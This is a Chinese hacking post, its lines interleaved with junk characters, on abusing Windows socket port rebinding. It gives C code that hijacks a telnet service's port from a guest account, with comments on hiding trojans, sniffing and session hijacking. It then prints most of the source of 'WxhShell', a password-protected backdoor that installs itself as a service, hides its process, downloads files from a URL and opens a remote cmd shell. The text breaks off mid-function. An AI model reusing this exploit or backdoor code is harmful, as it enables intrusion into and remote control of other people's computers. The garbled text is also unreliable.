在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Q,~x# s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ctHEEFWm F{\=PCZ>7 saddr.sin_family = AF_INET;
@y5= J`@= 0yaMe@&, saddr.sin_addr.s_addr = htonl(INADDR_ANY);
~;8I5Sge x}|+sS,g bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
N}DL(-SQ3 dZDK7UL 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
e}e6r3faz {yS;NU`2 这意味着什么?意味着可以进行如下的攻击:
WFem#hq 7E\g
&R. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
O@wK[(w^ uFo/s&6K 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
kM;o0wi 0<Q*7aY 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
o,*=$/or x6v,lR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
p?kvW42/ ^KbL
,T 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
v%nP*i9 $''UlWK 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
1x{kl01m% G|*G9nQ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
G,|KL" H6 bcn7,ht #include
bb1f/C% #include
#q;z8 @ #include
|z*>ixK #include
3ev -Iqz DWORD WINAPI ClientThread(LPVOID lpParam);
+`Pmq}ey int main()
#kci=2q_ {
Ha218Hy0W WORD wVersionRequested;
MMd.0JuaO DWORD ret;
`XgFga) WSADATA wsaData;
B`1kG Ex . BOOL val;
En\Z#0,V SOCKADDR_IN saddr;
8kH<$9 SOCKADDR_IN scaddr;
3+V#[JBJv int err;
`[Sl1saZ$S SOCKET s;
$@.jZ_G SOCKET sc;
e2wvc/gG6 int caddsize;
F&az": HANDLE mt;
H%z/v|e6 DWORD tid;
SY T$3|a wVersionRequested = MAKEWORD( 2, 2 );
;MPKJS68@ err = WSAStartup( wVersionRequested, &wsaData );
9go))&`PJL if ( err != 0 ) {
T?rH
,$: printf("error!WSAStartup failed!\n");
CmnHh~% return -1;
F>-}*o }
m#n]Wgp' saddr.sin_family = AF_INET;
8wmQ4){ QNpuTZn#Q //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
.&|L|q} WFDCPQ@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7&|6KN}c saddr.sin_port = htons(23);
<u0,Fp if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
eGvOA\y: {
:tbd,Uo printf("error!socket failed!\n");
2Wl{Br. return -1;
FM\[]. }
X~L!e}Rz val = TRUE;
~OCZz$qA //SO_REUSEADDR选项就是可以实现端口重绑定的
H+x#gK2l if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
lDN?|YG {
q3+8]-9|5 printf("error!setsockopt failed!\n");
D/:3RZF return -1;
%*K;np-q{ }
1tGgDbJU //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
MI*Sq\-i //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
!y[3]8Xxv //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
u"Y]P*[k Nfaf;;J} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
[K:29N9~4 {
=:~(m ret=GetLastError();
N|Habua<Xw printf("error!bind failed!\n");
DFy1 bg return -1;
!_x*m@/ }
n&d/?aJ7a\ listen(s,2);
s)w9% while(1)
X<euD9? {
mb{q(WEPP caddsize = sizeof(scaddr);
H~Uq?!=b //接受连接请求
~kb{K; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
p6[ (81 if(sc!=INVALID_SOCKET)
vpLMhf` {
1`l;xw1W mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
D#0O[F@l## if(mt==NULL)
h<NRE0- {
<\aU"_D printf("Thread Creat Failed!\n");
;?~
9hN! break;
'[0YIn }
Pa&4)OD }
u)~s4tP4 CloseHandle(mt);
9rcI+q=E
}
Y[G9Vok
VX closesocket(s);
6fGK(r WSACleanup();
.NnGVxc5* return 0;
1;&T^Gdj }
tX?J@+ DWORD WINAPI ClientThread(LPVOID lpParam)
|GuEGmR {
(/?R9T[V&^ SOCKET ss = (SOCKET)lpParam;
S#2[%o SOCKET sc;
(>AFyh&3,X unsigned char buf[4096];
Dbz]{_Y; SOCKADDR_IN saddr;
0roCP=; long num;
QO,+ps< DWORD val;
Ac\W\=QvB DWORD ret;
<|H?gfM //如果是隐藏端口应用的话,可以在此处加一些判断
WQKj]:qk0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
OKPJuV`y6 saddr.sin_family = AF_INET;
_tWE8r, saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
GV6mzD@< saddr.sin_port = htons(23);
q-IWRb0j%a if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
v8'5pLt" {
>S.91!x printf("error!socket failed!\n");
=x
H~ww (D return -1;
6N3@!xtpi }
*Hunp Y val = 100;
*s\sa+2al if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
/80YZ {
.'lN4x ret = GetLastError();
3dm'xetM return -1;
Ef,Cd[]b }
>FF1)~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
L_?$ayZ; {
jVYH;B%%z ret = GetLastError();
w+_Wc~f return -1;
7#pZa.B)k }
}4h0bI if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
j@ v-| {
TQ' e printf("error!socket connect failed!\n");
p;`N\.ld closesocket(sc);
' ^a!`"Bc closesocket(ss);
o](.368+4 return -1;
m[8
@Unt }
/aOlYqM(> while(1)
C +@ i {
H\+-cvl //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
* nCx[ //如果是嗅探内容的话,可以再此处进行内容分析和记录
9L HuS //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Tz` ,{k num = recv(ss,buf,4096,0);
g+|Bf&_ if(num>0)
l%<c6; send(sc,buf,num,0);
%6i=lyH- else if(num==0)
5~l2!PY break;
PEzia}m num = recv(sc,buf,4096,0);
gZ` DT if(num>0)
`bqzg send(ss,buf,num,0);
7$_
:sJ else if(num==0)
7I3 :u+ break;
Jck"Ks }
kl<g;3 closesocket(ss);
)
,Npv3( closesocket(sc);
?Aw3lH#: return 0 ;
Qlh?iA }
!Uy>eji} )!,@m>0v{ j38 6gL ==========================================================
yjpz_<7a= f_'"KF[% 下边附上一个代码,,WXhSHELL
-tyaE }
07r ==========================================================
? s4oDi|: (8x
gn #include "stdafx.h"
]!aUT& @p]UvqtB@ #include <stdio.h>
8\_*1h40s #include <string.h>
qTy v.#{y #include <windows.h>
K PggDKS #include <winsock2.h>
+WLD #include <winsvc.h>
$5L(gn[ #include <urlmon.h>
'tuBuYD\ la`"$f #pragma comment (lib, "Ws2_32.lib")
Hirr=a3 #pragma comment (lib, "urlmon.lib")
wY`#$)O0* ZIW7_Y>_ #define MAX_USER 100 // 最大客户端连接数
61,O%lV #define BUF_SOCK 200 // sock buffer
O6]u!NqG #define KEY_BUFF 255 // 输入 buffer
]_#SAhOR) gh61H:t kR #define REBOOT 0 // 重启
<<<NXsH #define SHUTDOWN 1 // 关机
(&c,twa~ GNZ#q)qT #define DEF_PORT 5000 // 监听端口
{(0Id ! +XQPjg #define REG_LEN 16 // 注册表键长度
tqhh<u; #define SVC_LEN 80 // NT服务名长度
'!@A}&] 8Fx]koP. // 从dll定义API
|^!Vo&T typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
/.@x
4cdS typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
. s-5N\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
xB,/dMdTj typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
e5L1er;6 -XW8 LaQB // wxhshell配置信息
W5X7FEW struct WSCFG {
6sy,A~e int ws_port; // 监听端口
.hne)K%={y char ws_passstr[REG_LEN]; // 口令
hgwn> p:S# int ws_autoins; // 安装标记, 1=yes 0=no
oG\>-- char ws_regname[REG_LEN]; // 注册表键名
K0 QH?F char ws_svcname[REG_LEN]; // 服务名
+.K*n& char ws_svcdisp[SVC_LEN]; // 服务显示名
%I}'Vb{C char ws_svcdesc[SVC_LEN]; // 服务描述信息
>#?iO]). char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Om6Mmoqh int ws_downexe; // 下载执行标记, 1=yes 0=no
niAZ$w char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
WKOI\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
c/RT0xql* eA&t% };
Gym#b{#": ZQ|gt* // default Wxhshell configuration
`#p< rfe struct WSCFG wscfg={DEF_PORT,
z L8J`W "xuhuanlingzhe",
X2{`l8%Ek 1,
QA,*:qx "Wxhshell",
)w3
, "Wxhshell",
D}Au6 "WxhShell Service",
QH:>jmC{1h "Wrsky Windows CmdShell Service",
cqjl5UB "Please Input Your Password: ",
``6{T1fQS 1,
4UVW#Rw{ "
http://www.wrsky.com/wxhshell.exe",
1VGpq-4*j "Wxhshell.exe"
5Kee2s?* };
&t_A0z G g(NGT // 消息定义模块
yZ|+VXO char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
R`
44'y| char *msg_ws_prompt="\n\r? for help\n\r#>";
?(>k,[n char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
W[fT
R?n char *msg_ws_ext="\n\rExit.";
?61L|vr char *msg_ws_end="\n\rQuit.";
ka8$dfC char *msg_ws_boot="\n\rReboot...";
ajGcKyj8i char *msg_ws_poff="\n\rShutdown...";
FvAbh]/4 char *msg_ws_down="\n\rSave to ";
s!aO*\[<h zF?31\GOX char *msg_ws_err="\n\rErr!";
gY%OhYtF2 char *msg_ws_ok="\n\rOK!";
qL,ka V07VwVD char ExeFile[MAX_PATH];
@ "0uM?_)- int nUser = 0;
#)FDl70S8 HANDLE handles[MAX_USER];
.Nk}Z9L]k int OsIsNt;
Ej{+U !. p SERVICE_STATUS serviceStatus;
hAlPl<BO#V SERVICE_STATUS_HANDLE hServiceStatusHandle;
m|lM.]2_ ]~'9 // 函数声明
HmW=t}! int Install(void);
brj[c>ID int Uninstall(void);
aj?2jU~Pq int DownloadFile(char *sURL, SOCKET wsh);
8<Xq=*J+ int Boot(int flag);
}a'cm!" void HideProc(void);
. Jptj int GetOsVer(void);
gU+ss int Wxhshell(SOCKET wsl);
1z3]PA!R void TalkWithClient(void *cs);
el}hcAY/RP int CmdShell(SOCKET sock);
X:U=MWc> int StartFromService(void);
u |'8a1 int StartWxhshell(LPSTR lpCmdLine);
k?<i*;7 ma1(EJ/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
eVrnVPkM VOID WINAPI NTServiceHandler( DWORD fdwControl );
}iMXXXBOT El {r$-} // 数据结构和表定义
*q}FV2 SERVICE_TABLE_ENTRY DispatchTable[] =
,}u,)7 {
LNaeB(z" {wscfg.ws_svcname, NTServiceMain},
C0gfJ~M) {NULL, NULL}
^u3*hl}YKy };
'frWu6]<
4 q ?(A!1(u // 自我安装
}M^_Z#|, int Install(void)
p?}f|mQS) {
z1kBNOr char svExeFile[MAX_PATH];
g
,`F<CF9 HKEY key;
QjI#Cs}w strcpy(svExeFile,ExeFile);
b/z'`?[ _a fciyso // 如果是win9x系统,修改注册表设为自启动
ijE<spG if(!OsIsNt) {
CcBQo8!G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ccRlql( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)4@M`8 RegCloseKey(key);
J`4Z<b53 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Y$>+U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
PL9<*.U"= RegCloseKey(key);
*3!(*F@M, return 0;
'^8g9E.4K }
#]k0Z~Bl }
U[IQ1AEr }
E=}6X9X else {
[TP Pb0)HlLq // 如果是NT以上系统,安装为系统服务
tp7oc_s?. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
tsck|;v if (schSCManager!=0)
aXQ&@BZ{j {
Ad^dF'SN SC_HANDLE schService = CreateService
SE6>vKR/. (
7F"3 <U@J schSCManager,
3(MoXA* wscfg.ws_svcname,
>ze>Xr'm5= wscfg.ws_svcdisp,
$K`_
K#A SERVICE_ALL_ACCESS,
4A;[sm^f SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
dUI3erO SERVICE_AUTO_START,
Rk}\)r\ SERVICE_ERROR_NORMAL,
iK ohuZr svExeFile,
]U_5\$ NULL,
b*cW<vX}~ NULL,
:b.3CL\.6 NULL,
a:=q8Qy NULL,
$[)6H7!U) NULL
ThjUiuWe );
X";TZk if (schService!=0)
_2wAaJvA {
joxS+P5# CloseServiceHandle(schService);
Tnf&pu#5 CloseServiceHandle(schSCManager);
th5
X?so strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
C_6GOpl strcat(svExeFile,wscfg.ws_svcname);
cR,'o'V/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
65'`uuPx RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Qk?jGXB>^ RegCloseKey(key);
I).=v{@9V< return 0;
&,^mM'
C }
NKRaQr }
c'"#q) CloseServiceHandle(schSCManager);
,jAx%]@,I }
yb[{aL^4% }
SCgyp( _2NN1/F5 return 1;
mk#>Dpy? }
r3n=<l!Jr UAnB=L,.\ // 自我卸载
fx]\)0n int Uninstall(void)
~C%2t{" {
f+*J
ue HKEY key;
7bctx_W&6 x*NqA(r if(!OsIsNt) {
d-9uv|SJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
kEp.0wL' RegDeleteValue(key,wscfg.ws_regname);
hfJrQhmE RegCloseKey(key);
b\kN_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&mX5&e RegDeleteValue(key,wscfg.ws_regname);
Is4%}J!8 RegCloseKey(key);
/p[|DJoM return 0;
b{Z^)u2X }
T+`xr0 }
*!._Ais,\ }
(J6"
; else {
"9c.C I yTzY? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
*rS9eej if (schSCManager!=0)
k\sc }z8X {
qFV;n6&V SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Ly#h|) if (schService!=0)
;n%]*v {
TX<e_[$\ if(DeleteService(schService)!=0) {
t#fs:A7P?} CloseServiceHandle(schService);
pem3G5
`g= CloseServiceHandle(schSCManager);
17J} uXA return 0;
lt@ }
m-:8jA? CloseServiceHandle(schService);
It#h p,@e }
!F=|*j CloseServiceHandle(schSCManager);
`'z(--J}` }
:iP>z}h }
|pfhrwJp M'pb8jf return 1;
2#>$%[ }
FZ[@])B X=rc3~}f // 从指定url下载文件
[5>S-Z int DownloadFile(char *sURL, SOCKET wsh)
\[Sm2/9v {
s`$NW^'] HRESULT hr;
=gxgS<bde char seps[]= "/";
4^d+l.F char *token;
#G'S
ve? char *file;
_myg._[ char myURL[MAX_PATH];
F Q8RK~?` char myFILE[MAX_PATH];
w8eG; w$w>N(e strcpy(myURL,sURL);
ovhC42i token=strtok(myURL,seps);
Z7tU0 while(token!=NULL)
.`oJcJ {
8@Egy%_ file=token;
/#S4espE token=strtok(NULL,seps);
W&fW5af9 }
@4 zi]v I-RdAVB/Ep GetCurrentDirectory(MAX_PATH,myFILE);
hQgk.$g strcat(myFILE, "\\");
FRl3\ZDqrb strcat(myFILE, file);
'hwV send(wsh,myFILE,strlen(myFILE),0);
U%mkhWn send(wsh,"...",3,0);
#6Efev hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
DFt=%aV[ if(hr==S_OK)
_hAj2%SL return 0;
0EL\Hd else
({;P#qCX return 1;
6vD]@AF QU-7Ch#8 }
%NF<bEV wMlf3Uz // 系统电源模块
!Z<mrr;T@ int Boot(int flag)
X_lUD?y {
O,F]\ HANDLE hToken;
/3CHE8nSh TOKEN_PRIVILEGES tkp;
oso1uAOfp D..{|29,: if(OsIsNt) {
c,#~L7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
J~_L4*Jw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
nUI63? tkp.PrivilegeCount = 1;
t*Z .e.q+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
R9b/?*%=9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
!$:0E
y(S if(flag==REBOOT) {
M iP[UCh if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
d1srV` return 0;
"_ PH "W }
!SLP8|Cd else {
C:'WX*W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]p4`7@@)* return 0;
ql#{=oGDnA }
)0Y #-=.< }
TIK/ %T else {
A%NK0j$;} if(flag==REBOOT) {
1M%{Uqsd - if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
G"T;l"TAt8 return 0;
,\sR;=svK }
w6WGFQ_ % else {
W%Y.SP$Y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
,_"7|z wb return 0;
~6@c]: }
D-TNFYYy2 }
1=9qAp;?o r+{!@`dYi return 1;
E"9/YWv }
B#qL$M,| [M7iJcwt // win9x进程隐藏模块
|0C|$2 void HideProc(void)
9[t]] {
({d,oU$>y dvg; HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
"v\ bMuS if ( hKernel != NULL )
x[GFX8h(k6 {
`@fhge pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
hQg,#r(JE4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
C&gOA8nf FreeLibrary(hKernel);
zumR( <l }
'mBLf&fB Xhq? 7P$3 return;
7`u A }
X <ba|( 2R_opbw // 获取操作系统版本
C,OB3y int GetOsVer(void)
~,1-$#R {
CO:m]oj OSVERSIONINFO winfo;
7(A
G] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
I&'S2=s GetVersionEx(&winfo);
K^]?@oHO
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Mv7w5vTl return 1;
~WYE"( else
75hFyh;u return 0;
PK.h E{R }
8T>3@kF y]QQvCJr3d // 客户端句柄模块
|*]X\UE int Wxhshell(SOCKET wsl)
zCj*:n {
&;NNUT>Q SOCKET wsh;
d!}jdt5% struct sockaddr_in client;
xVHQ[I% DWORD myID;
eu}:Wg2 i
h`y0(< while(nUser<MAX_USER)
Pjj;.c 7_j {
OVQxZ~uQ int nSize=sizeof(client);
26('V `N wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
,{`o/F/ if(wsh==INVALID_SOCKET) return 1;
0btmao- T0*TTB&b handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
@ 2%.>0s. if(handles[nUser]==0)
8M3p\}O closesocket(wsh);
xvdnEaWe$ else
;:-2~z~~ nUser++;
k"DQbUy0L }
WRLu3nBx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
' F 6au[ |04}zU%N return 0;
(<>Sz( }
C~
}Wo5 xdbu|fC // 关闭 socket
3-9J"d! void CloseIt(SOCKET wsh)
@
@3)D%h {
D:6x*+jah) closesocket(wsh);
2t]! {L nUser--;
mTXNHvv ExitThread(0);
8eS@<[[F# }
|j5AU T_oW)G // 客户端请求句柄
$E4O^0%/p void TalkWithClient(void *cs)
X('Q;^` {
`3>)BV<P L!+[]tB SOCKET wsh=(SOCKET)cs;
=B o4yN char pwd[SVC_LEN];
P60]ps!M char cmd[KEY_BUFF];
+NzD/.gq char chr[1];
My6]k?;}( int i,j;
J<5vs3[9 vUIK4uR. while (nUser < MAX_USER) {
tI!R5q;k X/;"CM if(wscfg.ws_passstr) {
qed!C if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
K&Wv.}=V //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~qLhZR\g^ //ZeroMemory(pwd,KEY_BUFF);
*Y^Y i=0;
*\~kjZ 3 while(i<SVC_LEN) {
66"ZH,335 9%)& }KK| // 设置超时
@=<TA0;LL fd_set FdRead;
2)I'5?I struct timeval TimeOut;
G.q^Zd#.T FD_ZERO(&FdRead);
v;F+fOo FD_SET(wsh,&FdRead);
T h- vG TimeOut.tv_sec=8;
rY_C3;B TimeOut.tv_usec=0;
bbPd&7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
i_ODgc`H if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
)Ido|!]0d si
mX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
.}hZ7>4- pwd
=chr[0]; NM.f0{:cj
if(chr[0]==0xd || chr[0]==0xa) { fY\tvo%
pwd=0; 4K?H-Jco
break; {If2[4!z
} 7N~qg 7&
i++; #35S7G^ @`
} BI]ut|Qw
~cg+BAfu
// 如果是非法用户,关闭 socket W*/s4 N
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n`I
jG
} E6^S2J2
_6ax{:/Q
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iDkWW
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `bi_)i6Low
fPk9(X;G!p
while(1) { b8b PK<
``YL]
<<
ZeroMemory(cmd,KEY_BUFF); B43#9CK`o
szsZFyW)+
// 自动支持客户端 telnet标准 ,LPFb6o
j=0; PK`(qK9
while(j<KEY_BUFF) { Xde=}9
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r;6YCI=z
cmd[j]=chr[0]; 0R^(rE"2#
if(chr[0]==0xa || chr[0]==0xd) { VV}fW"_ND
cmd[j]=0; gZ=9Y:$
break; C2,cyhr
} 0Eg r
Q
j++; \3:{LOr%*
} ;0X|*w1JO
{^19.F
// 下载文件 kA:;c}p
if(strstr(cmd,"http://")) { L!8?2 \5
send(wsh,msg_ws_down,strlen(msg_ws_down),0); W2.1xNWO
if(DownloadFile(cmd,wsh)) 6pz:Lfd80
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A[,"jh
else {R8P $
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jeuNTDjeL
} .STf
else { NwuBe:"@
xg5@;p
switch(cmd[0]) { au}0PnA;
,c %gwzU
// 帮助 I;m@cSJ|j
case '?': { EV,NJ3V
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yURh4@
break; _TcQ12H 5<
} X'Il:SK
// 安装 !J?=nSu
case 'i': { OsSiBb,W79
if(Install()) >`V|`Zi ?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _j<M}
else iuk8c.TAR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mS;Q8Crh
break; r_<i*l.
} \C\y'H5
// 卸载 A)a+LW'=u
case 'r': { cz~11j#
if(Uninstall()) Ecl7=-y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "7g8 d
else V'h z1roe
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !<^j!'2
break; @DKl<F
} pO+wJ|f
// 显示 wxhshell 所在路径 5Fm?,^
case 'p': { <?@46d?C
char svExeFile[MAX_PATH]; "ZB`fNE
strcpy(svExeFile,"\n\r"); ZTz(NS
EK
strcat(svExeFile,ExeFile); Us~wv"L=UX
send(wsh,svExeFile,strlen(svExeFile),0); QS?9&+JM |
break; mb6?$1j
} [goPmVe+
// 重启 #"YWz)8
case 'b': { H9m2Whq
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?-v?SN#
if(Boot(REBOOT)) I:)#U[tn0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1`JN
else { soK_l|z:J
closesocket(wsh); \J
g#X:d
ExitThread(0); L#MxB|fcr
} n8D;6#P^
break; |N.q[>^R
} Y$5v3E\uc
// 关机 Kyiez]T6%q
case 'd': { w}<I\*\`!
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x(6.W"-S
if(Boot(SHUTDOWN)) A/6nVn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zQ^[=siZ}
else { 6C}Z1lZl
closesocket(wsh); d#,V^
ExitThread(0); D(?#oCCA
} S5vMP
N
break; g
{wPw
} j`M<M[C*4N
// 获取shell BnY|t2r
case 's': { QN5N hs
CmdShell(wsh); c`=hK*
closesocket(wsh); 3/<^R}w\
ExitThread(0); J-?(sjIX
break; @
MoMU
} A+*(Pds
// 退出 GB Un" _J
case 'x': { ?Og ;W9i
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F<<H [,%0
CloseIt(wsh); PEhLzZX+
break; XYVeHP!
} 62E(=l
// 离开 itMc!bUQ
case 'q': { G2k71{jK
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8j+;Xlh
closesocket(wsh); 0n^j 50Yq
WSACleanup(); J=bOw//
exit(1); dL"i\5#%A
break; "2j~3aWj
} vv_?ip:t
} ozwqK oE
} r/:'}os;
@TG~fJSA12
// 提示信息 )Em,3I/.l
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o: DnZN
} #?|z&9
} 'v)+S;oB
S8<aq P
return; \"j1fAD!
} }('QIvq2
6%axbB
// shell模块句柄 l'R`XGT
int CmdShell(SOCKET sock) IMEoov-x
{ +T;qvx6
STARTUPINFO si; GY :IORuA4
ZeroMemory(&si,sizeof(si)); Ghe=hhZ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; : P2;9+v
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6-}9m7# Y
PROCESS_INFORMATION ProcessInfo; -^N '18:
char cmdline[]="cmd"; 7:<>#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ds/zl Z
return 0; co-D,o4x
} :/Zh[Q@EG
NE nP3A
// 自身启动模式 x&p=vUuukP
int StartFromService(void) 2AE|N_v8W
{ -OAH6U9^
typedef struct zj4JWUM2
{ y['icGU6
DWORD ExitStatus; 3".W
DWORD PebBaseAddress; +fmZ&9hFNJ
DWORD AffinityMask; '1*MiFxKq
DWORD BasePriority; Dne&YVF9V
ULONG UniqueProcessId; rbWFq|(_
ULONG InheritedFromUniqueProcessId; !qq@F%tv
